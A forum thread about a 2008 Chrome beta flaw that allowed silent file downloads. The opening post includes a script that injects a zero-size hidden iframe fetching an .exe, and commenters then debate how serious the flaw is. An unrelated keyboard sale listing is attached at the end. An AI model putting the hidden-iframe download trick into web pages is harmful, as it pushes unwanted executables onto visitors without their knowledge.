Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically

downloaded to the user's computer without any user prompt.

Example:

<script>

document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

</script>

This is just insane. this should be on the news or something, im sure that right now this exploit isnt an hour old, but still. its spreading quick enough.

Careful guys

Why, design looks like lego xD

Just curious, but might your extreme excitement and opinions on this be based in any part on a vast portion of your blog pertaining to Firefox?

lego, pokemon ball, window media player logo...the list goes on.

By the way, there is a forum dedicated to Chrome. Here is the link http://www.chrome-forums.net/phpBB3/index.php

Um...did you just create that forum?

Of course bugs are appearing everywhere, it is a BETA. This is the first release. Can't expect it to be bug free.

Just be careful where you browse (which goes for any browser).

Something as simple and obvious as being able to silently run .exe's should have been tested internally don't you think?

It doesn't say the exe is being executed, it is just being downloaded so some user interaction is still required. Don't get me wrong though, I understand how serious of an issue it is.

    • ASUS ROG Falchion Ace 75 HE keyboard is 27% off on Amazon

      By Ivan Jenic · Posted

      ASUS ROG Falchion Ace 75 HE keyboard is 27% off on Amazon by Ivan Jenic The ASUS ROG Falchion Ace 75 HE is currently $159.99 on Amazon, down from $219.99. That's 27% off and $60 saved on a keyboard that combines retro and modern design, while being one of the most responsive and adaptable 75% boards available right now (purchase link down below). The ROG Falchion Ace comes with the HFX V2X magnetic switches that allow you to set actuation anywhere between 0.1mm and 3.5mm with 0.01mm fine-tuning steps. It also comes with Rapid Trigger, a feature that resets the key the moment you release it rather than waiting for a fixed reset point, which makes a noticeable difference in fast-paced games. And finally, an 8,000Hz polling rate should make the response time feel instant. The build quality is decent, with dense plastic and powder-coated aluminum, which is expected from a keyboard at this price point. There’s also the onboard adjustment wheel, which lets you tweak actuation and Rapid Trigger sensitivity without opening any software. For competitive gaming, the ROG Falchion Ace is hard to beat at this price. And those who appreciate old-school hardware, especially those white keyboards we’ve all grown up with, will likely also appreciate the looks of this keyboard. A carry case is included.
